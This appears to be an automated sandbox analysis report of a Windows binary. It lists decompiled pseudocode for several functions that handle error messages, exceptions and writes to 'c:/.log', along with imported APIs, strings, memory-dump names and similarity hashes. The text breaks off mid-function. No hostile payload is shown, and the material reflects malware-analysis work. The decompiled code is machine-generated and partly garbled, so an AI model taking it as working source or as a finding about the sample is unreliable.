					_t29 = WideCharToMultiByte(0, 0, _v12, 0xffffffff, _t40, _t38, 0, 0);
					if(_t29 == 0) {
						goto L15;
					}
					_t30 = _t29 - 1;
					if(_t30 <= 0) {
						L14:
						goto L17;
					}
					while(1) {
						_t36 =  *((intOrPtr*)(_t30 + _t40 - 1));
						if(_t36 != 0xa && _t36 != 0xd) {
							break;
						}
						_t30 = _t30 - 1;
						 *((char*)(_t30 + _t40)) = 0;
						if(_t30 > 0) {
							continue;
						}
						goto L17;
					}
					if(_t30 > 0 &&  *((char*)(_t30 + _t40 - 1)) == 0x2e) {
						 *((char*)(_t30 + _t40 - 1)) = 0;
					}
					goto L14;
				}
				 *_a8 = 0;
				goto L17;
			}

0x00054616
0x0005461d
0x00054622
0x00054627
0x000546d8
0x000546ea
0x000546ea
0x00054630
0x00054640
0x00054645
0x00054653
0x0005465d
0x00054663
0x00054668
0x000546bf
0x000546c9
0x00000000
0x000546d1
0x00054679
0x00054681
0x00000000
0x00000000
0x00054683
0x00054686
0x000546bb
0x00000000
0x000546bb
0x00054690
0x00054690
0x00054697
0x00000000
0x00000000
0x0005469e
0x0005469f
0x000546a5
0x00000000
0x00000000
0x00000000
0x000546a7
0x000546ad
0x000546b6
0x000546b6
0x00000000
0x000546ad
0x00054635
0x00000000

APIs

FormatMessageW.KERNEL32(00001200,00000000,?,00000400,?,?,00000000), ref: 0005465D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000,?,?,00000000), ref: 00054679

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

Unknown error (%d), xrefs: 000546C2

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharFeatureFormatMessageMultiPresentProcessorWide___raise_securityfailure
String ID: Unknown error (%d)
API String ID: 2630910663-1458610041
Opcode ID: 29e7072c714b3f5b4b43ef014e3a57eb52189fd2615c623fd4b65cf9af0195d1
Instruction ID: 52c3117e27700f3e75ce45ef5341f4472dcae7749401d87fdb5c1571326e48cc
Opcode Fuzzy Hash: 29e7072c714b3f5b4b43ef014e3a57eb52189fd2615c623fd4b65cf9af0195d1
Instruction Fuzzy Hash: 62210330740245AFEB318A29CC05FEF7BE4EB07B1AF504058FD14DB292D6B1D8988792

Uniqueness

Uniqueness Score: 100.00%

Function 00059A00, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79
UNIQUE

Download Yara Rule

C-Code - Quality: 41%

			E00059A00(void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				intOrPtr _v96;
				char _v104;
				intOrPtr* _v108;
				signed int _t20;
				signed int _t21;
				signed int _t29;
				intOrPtr* _t40;
				void* _t44;
				intOrPtr* _t46;
				intOrPtr _t49;
				signed int _t51;
				void* _t53;
				signed int _t54;

				_t44 = __edx;
				_push(0xffffffff);
				_push(0x12d498);
				_push( *[fs:0x0]);
				_t54 = _t53 - 0x44;
				_t20 =  *0x16f170; // 0xd529e887
				_t21 = _t20 ^ _t51;
				_v20 = _t21;
				_push(_t21);
				 *[fs:0x0] =  &_v16;
				E00064B00( &_v44, "Clone() is not implemented yet.");
				_v8 = 0;
				_t40 =  &_v84;
				E00059100( &_v44);
				E001047B7( &_v84, 0x16d328);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_push(_t51);
				_push(0xffffffff);
				_push(0x12ce78);
				_push( *[fs:0x0]);
				_push(_t40);
				_t29 =  *0x16f170; // 0xd529e887
				_push(_t29 ^ _t54);
				 *[fs:0x0] =  &_v104;
				_t46 = _t40;
				_v108 = _t46;
				_t49 = _v84;
				asm("xorps xmm0, xmm0");
				 *_t46 = 0x13a468;
				asm("movq [eax], xmm0");
				E001041DE(_t49 + 4, _t46 + 4);
				_v96 = 0;
				 *_t46 = 0x13b7a4;
				 *((intOrPtr*)(_t46 + 0xc)) =  *((intOrPtr*)(_t49 + 0xc));
				E00064B40(_t46 + 0x10, _t44, _t49 + 0x10);
				 *_t46 = 0x13b7d4;
				 *[fs:0x0] = _v104;
				return _t46;
			}

0x00059a00
0x00059a03
0x00059a05
0x00059a10
0x00059a11
0x00059a14
0x00059a19
0x00059a1b
0x00059a1e
0x00059a22
0x00059a30
0x00059a38
0x00059a40
0x00059a43
0x00059a51
0x00059a56
0x00059a57
0x00059a58
0x00059a59
0x00059a5a
0x00059a5b
0x00059a5c
0x00059a5d
0x00059a5e
0x00059a5f
0x00059a60
0x00059a63
0x00059a65
0x00059a70
0x00059a71
0x00059a74
0x00059a7b
0x00059a7f
0x00059a85
0x00059a87
0x00059a8a
0x00059a90
0x00059a93
0x00059a9a
0x00059aa2
0x00059aaa
0x00059ab4
0x00059abd
0x00059ac4
0x00059ac9
0x00059ad4
0x00059ae1

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00059A51

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 00059AA2

Strings

Clone() is not implemented yet., xrefs: 00059A28

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8RaiseThrow___std_exception_copy
String ID: Clone() is not implemented yet.
API String ID: 640887848-226299721
Opcode ID: d00f00b179b26fec981e0e87c728a834cbea4d5d696f6e046cd81156e04e5bb8
Instruction ID: a36ac12065b67e3c5cfc733c851eb71dcb998f17090a5e1fe7ea24da68324fa7
Opcode Fuzzy Hash: d00f00b179b26fec981e0e87c728a834cbea4d5d696f6e046cd81156e04e5bb8
Instruction Fuzzy Hash: 63213DB2904749EBC700DFA4DC41F9AF7FCFB59720F50462AE911A7680EBB4A514CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 000816C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63UNIQUE

Download Yara Rule

APIs

___std_type_info_name.LIBVCRUNTIME ref: 000816F2

Part of subcall function 001042A5: ___unDName.LIBVCRUNTIME ref: 001042D1
Part of subcall function 001042A5: InterlockedPushEntrySList.KERNEL32(D529E887,D529E887,?,?,?,?,?,?,?,?,?,D529E887), ref: 0010434A

___std_type_info_name.LIBVCRUNTIME ref: 0008172B

Part of subcall function 00084D90: __CxxThrowException@8.LIBVCRUNTIME ref: 00084F6B

Strings

8, xrefs: 00081701

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_type_info_name$EntryException@8InterlockedListNamePushThrow___un
String ID: 8
API String ID: 598204453-4194326291
Opcode ID: 5f760d0bec33e9ad1ea907dee7944016f4b120c05f556a594c5044f1dc111557
Instruction ID: 4ffc3f51c62a274d31d7eb11c037822d339491b148d204b4741c9e9fcaef9576
Opcode Fuzzy Hash: 5f760d0bec33e9ad1ea907dee7944016f4b120c05f556a594c5044f1dc111557
Instruction Fuzzy Hash: 4B214DB2904249EFDB05DF94DC41EEE77B8FB18710F40461EF92593680E775A618CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00059F60, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63
UNIQUE

Download Yara Rule

C-Code - Quality: 30%

			E00059F60(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _t18;
				signed int _t19;
				void* _t21;
				intOrPtr* _t33;
				char* _t38;
				intOrPtr _t42;
				char* _t44;
				signed int _t46;
				void* _t51;

				_push(0xffffffff);
				_push(0x12d53b);
				_push( *[fs:0x0]);
				_t18 =  *0x16f170; // 0xd529e887
				_t19 = _t18 ^ _t46;
				_v20 = _t19;
				_push(_t19);
				 *[fs:0x0] =  &_v16;
				_t42 = __ecx;
				_v64 = __ecx;
				_v68 = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x13b978;
				_v8 = 0;
				_t21 = E000D72E3(_t51);
				if(_t21 != 0 ||  *((intOrPtr*)(__ecx + 8)) == _t21 ||  *((intOrPtr*)(__ecx + 9)) != _t21) {
					_v8 = 1;
					_t33 =  *((intOrPtr*)(_t42 + 0xc));
					if(_t33 != 0) {
						 *((intOrPtr*)( *_t33))(1);
					}
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t46);
				} else {
					_t38 =  &_v60;
					L00059D50(__ebx, _t38, __edx, __edi,  *((intOrPtr*)(__ecx + 4)));
					E001047B7( &_v60, 0x16cbfc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t46);
					_t44 = _t38;
					E00059F60(__ebx, _t38, __edx, __edi, _t42);
					__eflags = _v72 & 0x00000001;
					if((_v72 & 0x00000001) != 0) {
						_push(0x10);
						E000ED2D0(_t44);
					}
					return _t44;
				}
			}

0x00059f63
0x00059f65
0x00059f70
0x00059f74
0x00059f79
0x00059f7b
0x00059f7f
0x00059f83
0x00059f89
0x00059f8b
0x00059f8e
0x00059f91
0x00059f97
0x00059f9e
0x00059fa5
0x00059fb1
0x00059fb8
0x00059fbd
0x00059fc3
0x00059fc3
0x00059fc8
0x00059fde
0x00059fdf
0x00059fe2
0x00059fe5
0x00059ff3
0x00059ff8
0x00059ff9
0x00059ffa
0x00059ffb
0x00059ffc
0x00059ffd
0x00059ffe
0x00059fff
0x0005a000
0x0005a004
0x0005a006
0x0005a00b
0x0005a00f
0x0005a011
0x0005a014
0x0005a019
0x0005a020
0x0005a020

Strings

AlgorithmParametersBase: parameter ", xrefs: 00059D8A
" not used, xrefs: 00059DF6

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8FeaturePresentProcessorThrow___raise_securityfailure
String ID: " not used$AlgorithmParametersBase: parameter "
API String ID: 1094553191-612349224
Opcode ID: 35369b8f508a0f6700c85ed0ac857e85ca4e6ea3329dfc9e339fe115f41cb812
Instruction ID: 48d23b33126fe88a61e02a5c112c3a53c82c72ebd463dc8cd82b1a8ace7a6cdb
Opcode Fuzzy Hash: 35369b8f508a0f6700c85ed0ac857e85ca4e6ea3329dfc9e339fe115f41cb812
Instruction Fuzzy Hash: D0116071904748EBCB24EFA5D841BAEBBF9EF05714F00456EF81697682DBB1A9048B80

Uniqueness

Uniqueness Score: 100.00%

Function 0006DCB0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61
UNIQUE

Download Yara Rule

C-Code - Quality: 81%

			E0006DCB0(void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v196;
				void* __esi;
				void* __ebp;
				signed int _t11;
				char* _t13;
				void* _t14;
				void* _t23;
				intOrPtr* _t32;
				signed int _t34;
				void* _t35;
				void* _t36;
				void* _t37;

				_t30 = __edi;
				_t29 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_push(0xffffffff);
				_push(0x12ee93);
				_push( *[fs:0x0]);
				_t36 = _t35 - 0xb4;
				_t11 =  *0x16f170; // 0xd529e887
				_push(_t11 ^ _t34);
				_t13 =  &_v16;
				 *[fs:0x0] = _t13;
				_t32 = __edx;
				if( *0x17a480 != 0) {
					_v20 = 0x17a4f8;
					_t14 = E000DA3B6(0x17a4f8);
					_t37 = _t36 + 4;
					_t44 = _t14;
					if(_t14 != 0) {
						E000D7281(__ebx, _t23, __edx, __edi, __edx, _t14);
						_t37 = _t37 + 4;
					}
					_v8 = 0;
					E00064C00( &_v196, _t44, "c:/.log", 0xc);
					_v8 = 1;
					E0006C590( &_v196, "IPC error ");
					_push( *_t32);
					E0006DBF0(_t22, E00066130());
					E00060FB0( &_v196);
					_v8 = 2;
					_t13 = E000DA3DB(0x17a4f8);
					if(_t13 != 0) {
						_t13 = E000D7281(_t22,  &_v196, _t29, _t30, _t32, _t13);
					}
				}
				 *[fs:0x0] = _v16;
				return _t13;
			}

0x0006dcb0
0x0006dcb0
0x0006dcb0
0x0006dcb0
0x0006dcb3
0x0006dcb5
0x0006dcc0
0x0006dcc1
0x0006dcc8
0x0006dccf
0x0006dcd0
0x0006dcd3
0x0006dcd9
0x0006dce2
0x0006dced
0x0006dcf4
0x0006dcf9
0x0006dcfc
0x0006dcfe
0x0006dd01
0x0006dd06
0x0006dd06
0x0006dd0c
0x0006dd20
0x0006dd2b
0x0006dd35
0x0006dd3f
0x0006dd47
0x0006dd55
0x0006dd5f
0x0006dd66
0x0006dd70
0x0006dd73
0x0006dd78
0x0006dd70
0x0006dd7e
0x0006dd8a

APIs

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 0006DD66

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Strings

IPC error , xrefs: 0006DD2F
c:/.log, xrefs: 0006DD1B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Cpp_errorIos_base_dtorMtx_unlockThrow_mtx_do_lockstd::_std::ios_base::_
String ID: IPC error $c:/.log
API String ID: 1715006059-1488349911
Opcode ID: be7e623862450744e5baea291b41036b8ab658d49d754a486397ac2c5c19e291
Instruction ID: 76d76a40ce26471d66e82bcf7acd0aa4900fa43c46b63fa1f435167b86b56b05
Opcode Fuzzy Hash: be7e623862450744e5baea291b41036b8ab658d49d754a486397ac2c5c19e291
Instruction Fuzzy Hash: C011D6B1D04244D6EB10AB64DC0ABDD77A9AB01304F480569F815A72C2FBB65648C6A2

Uniqueness

Uniqueness Score: 100.00%

Function 0006E5F0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
UNIQUE

Download Yara Rule

C-Code - Quality: 84%

			E0006E5F0(void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v196;
				void* __esi;
				void* __ebp;
				signed int _t11;
				char* _t13;
				void* _t14;
				void* _t23;
				intOrPtr* _t31;
				signed int _t33;
				void* _t34;
				void* _t35;
				void* _t36;

				_t29 = __edi;
				_t28 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_push(0xffffffff);
				_push(0x12ee93);
				_push( *[fs:0x0]);
				_t35 = _t34 - 0xb4;
				_t11 =  *0x16f170; // 0xd529e887
				_push(_t11 ^ _t33);
				_t13 =  &_v16;
				 *[fs:0x0] = _t13;
				_t31 = __edx;
				if( *0x17a480 != 0) {
					_v20 = 0x17a4f8;
					_t14 = E000DA3B6(0x17a4f8);
					_t36 = _t35 + 4;
					_t42 = _t14;
					if(_t14 != 0) {
						E000D7281(__ebx, _t23, __edx, __edi, __edx, _t14);
						_t36 = _t36 + 4;
					}
					_v8 = 0;
					E00064C00( &_v196, _t42, "c:/.log", 0xc);
					_v8 = 1;
					E0006DBF0(_t22, E0006C590(E0006C590( &_v196, "master:"),  *_t31));
					E00060FB0( &_v196);
					_v8 = 2;
					_t13 = E000DA3DB(0x17a4f8);
					if(_t13 != 0) {
						_t13 = E000D7281(_t22,  &_v196, _t28, _t29, _t31, _t13);
					}
				}
				 *[fs:0x0] = _v16;
				return _t13;
			}

0x0006e5f0
0x0006e5f0
0x0006e5f0
0x0006e5f0
0x0006e5f3
0x0006e5f5
0x0006e600
0x0006e601
0x0006e608
0x0006e60f
0x0006e610
0x0006e613
0x0006e619
0x0006e622
0x0006e62d
0x0006e634
0x0006e639
0x0006e63c
0x0006e63e
0x0006e641
0x0006e646
0x0006e646
0x0006e64c
0x0006e660
0x0006e66b
0x0006e683
0x0006e691
0x0006e69b
0x0006e6a2
0x0006e6ac
0x0006e6af
0x0006e6b4
0x0006e6ac
0x0006e6ba
0x0006e6c6

APIs

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 0006E6A2

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Strings

master:, xrefs: 0006E66F
c:/.log, xrefs: 0006E65B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Cpp_errorIos_base_dtorMtx_unlockThrow_mtx_do_lockstd::_std::ios_base::_
String ID: c:/.log$master:
API String ID: 1715006059-1100769460
Opcode ID: e1182850ba2aabab41f578b6d7523a3e66bf3b1597c301df86e28b9a5c6135b3
Instruction ID: 3d87174c95bc4afda4120f37f81d29cbdcba37fb35324635e5b108b55ccf642f
Opcode Fuzzy Hash: e1182850ba2aabab41f578b6d7523a3e66bf3b1597c301df86e28b9a5c6135b3
Instruction Fuzzy Hash: 3E110BB1D04344E6DB10EBA4DC0AFDE77BDAB05704F440665F819B32C3E7B66644C662

Uniqueness

Uniqueness Score: 100.00%

Function 0006E050, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59
UNIQUE

Download Yara Rule

C-Code - Quality: 81%

			E0006E050(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v196;
				void* __esi;
				void* __ebp;
				signed int _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t31;
				signed int _t33;
				void* _t34;
				void* _t35;
				void* _t36;

				_t29 = __edi;
				_t28 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_push(0xffffffff);
				_push(0x12ee93);
				_push( *[fs:0x0]);
				_t35 = _t34 - 0xb4;
				_t11 =  *0x16f170; // 0xd529e887
				_push(_t11 ^ _t33);
				_t13 =  &_v16;
				 *[fs:0x0] = _t13;
				_t31 = __ecx;
				if( *0x17a480 != 0) {
					_v20 = 0x17a4f8;
					_t14 = E000DA3B6(0x17a4f8);
					_t36 = _t35 + 4;
					_t42 = _t14;
					if(_t14 != 0) {
						E000D7281(__ebx, _t22, __edx, __edi, _t31, _t14);
						_t36 = _t36 + 4;
					}
					_v8 = 0;
					E00064C00( &_v196, _t42, "c:/.log", 0xc);
					_push(" unknown exception");
					_v8 = 1;
					E0006DBF0(_t21, E0006C590(E000662F0(),  *_t31));
					E00060FB0( &_v196);
					_v8 = 2;
					_t13 = E000DA3DB(0x17a4f8);
					if(_t13 != 0) {
						_t13 = E000D7281(_t21,  &_v196, _t28, _t29, _t31, _t13);
					}
				}
				 *[fs:0x0] = _v16;
				return _t13;
			}

0x0006e050
0x0006e050
0x0006e050
0x0006e050
0x0006e053
0x0006e055
0x0006e060
0x0006e061
0x0006e068
0x0006e06f
0x0006e070
0x0006e073
0x0006e079
0x0006e082
0x0006e08d
0x0006e094
0x0006e099
0x0006e09c
0x0006e09e
0x0006e0a1
0x0006e0a6
0x0006e0a6
0x0006e0ac
0x0006e0c0
0x0006e0c5
0x0006e0ca
0x0006e0e2
0x0006e0f0
0x0006e0fa
0x0006e101
0x0006e10b
0x0006e10e
0x0006e113
0x0006e10b
0x0006e119
0x0006e125

APIs

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 0006E101

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Strings

unknown exception, xrefs: 0006E0C5
c:/.log, xrefs: 0006E0BB

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Cpp_errorIos_base_dtorMtx_unlockThrow_mtx_do_lockstd::_std::ios_base::_
String ID: unknown exception$c:/.log
API String ID: 1715006059-2949791102
Opcode ID: aa7b3ebfeb325c9f0256647a099b1b3af565aaaece5d1c38542bc7e31eb33116
Instruction ID: daa84e24beb8fb00433cd04125a169d721de99afaec66b4e39628b6902261d15
Opcode Fuzzy Hash: aa7b3ebfeb325c9f0256647a099b1b3af565aaaece5d1c38542bc7e31eb33116
Instruction Fuzzy Hash: 1011B6B1D44344EAEB10EB64EC0BBDD77B9AB05704F440169B815A7283EBB66644C7A2

Uniqueness

Uniqueness Score: 100.00%

Function 0006DD90, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59
UNIQUE

Download Yara Rule

C-Code - Quality: 81%

			E0006DD90(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v196;
				void* __esi;
				void* __ebp;
				signed int _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t31;
				signed int _t33;
				void* _t34;
				void* _t35;
				void* _t36;

				_t29 = __edi;
				_t28 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_push(0xffffffff);
				_push(0x12ee93);
				_push( *[fs:0x0]);
				_t35 = _t34 - 0xb4;
				_t11 =  *0x16f170; // 0xd529e887
				_push(_t11 ^ _t33);
				_t13 =  &_v16;
				 *[fs:0x0] = _t13;
				_t31 = __ecx;
				if( *0x17a480 != 0) {
					_v20 = 0x17a4f8;
					_t14 = E000DA3B6(0x17a4f8);
					_t36 = _t35 + 4;
					_t42 = _t14;
					if(_t14 != 0) {
						E000D7281(__ebx, _t22, __edx, __edi, _t31, _t14);
						_t36 = _t36 + 4;
					}
					_v8 = 0;
					E00064C00( &_v196, _t42, "c:/.log", 0xc);
					_push(" unknown exception $");
					_v8 = 1;
					E0006DBF0(_t21, E0006C590(E000662F0(),  *_t31));
					E00060FB0( &_v196);
					_v8 = 2;
					_t13 = E000DA3DB(0x17a4f8);
					if(_t13 != 0) {
						_t13 = E000D7281(_t21,  &_v196, _t28, _t29, _t31, _t13);
					}
				}
				 *[fs:0x0] = _v16;
				return _t13;
			}

0x0006dd90
0x0006dd90
0x0006dd90
0x0006dd90
0x0006dd93
0x0006dd95
0x0006dda0
0x0006dda1
0x0006dda8
0x0006ddaf
0x0006ddb0
0x0006ddb3
0x0006ddb9
0x0006ddc2
0x0006ddcd
0x0006ddd4
0x0006ddd9
0x0006dddc
0x0006ddde
0x0006dde1
0x0006dde6
0x0006dde6
0x0006ddec
0x0006de00
0x0006de05
0x0006de0a
0x0006de22
0x0006de30
0x0006de3a
0x0006de41
0x0006de4b
0x0006de4e
0x0006de53
0x0006de4b
0x0006de59
0x0006de65

APIs

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 0006DE41

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Strings

unknown exception $, xrefs: 0006DE05
c:/.log, xrefs: 0006DDFB

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Cpp_errorIos_base_dtorMtx_unlockThrow_mtx_do_lockstd::_std::ios_base::_
String ID: unknown exception $$c:/.log
API String ID: 1715006059-1758815962
Opcode ID: 7beff78d8c2d5f220c3120a455e650ac3382f7329041742b9ee6f806e42a9991
Instruction ID: 1d786134b1e2b81bf406be746095ddcf9b22ad50265caf16f76f4cb357c4eacc
Opcode Fuzzy Hash: 7beff78d8c2d5f220c3120a455e650ac3382f7329041742b9ee6f806e42a9991
Instruction Fuzzy Hash: 2C11CBB1D44344D6DB10FB64EC0AFDD77B9AB05704F440169F815672C2EBB65644C7A3

Uniqueness

Uniqueness Score: 100.00%

Function 000DB04D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58threadUNIQUE

Download Yara Rule

APIs

SwitchToThread.KERNEL32(B2AB117A,45C70015,ios_base::failbit set,?,000D727C,00000001,?,000534CA,00000000,?,00052DB7,0017A3A8,00073590,0017A3DC,?,000534CA), ref: 000DB094
SetLastError.KERNEL32(0000000D,?,000D727C,00000001,?,000534CA,00000000,?,00052DB7,0017A3A8,00073590,0017A3DC,?,000534CA,?,00000001), ref: 000DB0D1

Strings

ios_base::failbit set, xrefs: 000DB050

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLastSwitchThread
String ID: ios_base::failbit set
API String ID: 1935979318-3924258884
Opcode ID: c29de10d506c037bdf616c784195da092b899ca6fad811037b77f65e55046c79
Instruction ID: 0f6ebf04b619e4b568592e68baed34a90d0fc1d8f01437399d4ff47e9b7ab753
Opcode Fuzzy Hash: c29de10d506c037bdf616c784195da092b899ca6fad811037b77f65e55046c79
Instruction Fuzzy Hash: 7111AC32200325EFCF225F60EC845AFBBA5BF08751B12443AF96697710CB7098958BE1

Uniqueness

Uniqueness Score: 100.00%

Function 000B1FB0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
UNIQUE

Download Yara Rule

C-Code - Quality: 39%

			E000B1FB0(void* __ebx, void* __ecx, intOrPtr* _a4) {
				intOrPtr _v4;
				char _v8;
				char _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v44;
				char _v48;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v108;
				char _v128;
				signed int _v132;
				signed int _v221;
				char _v224;
				signed int _t48;
				signed int _t49;
				signed int _t60;
				signed int _t61;
				signed char _t73;
				intOrPtr _t80;
				intOrPtr* _t87;
				void* _t113;
				intOrPtr* _t114;
				char* _t115;
				void* _t119;
				intOrPtr* _t120;
				intOrPtr* _t121;
				signed int _t125;
				signed int _t126;
				void* _t128;
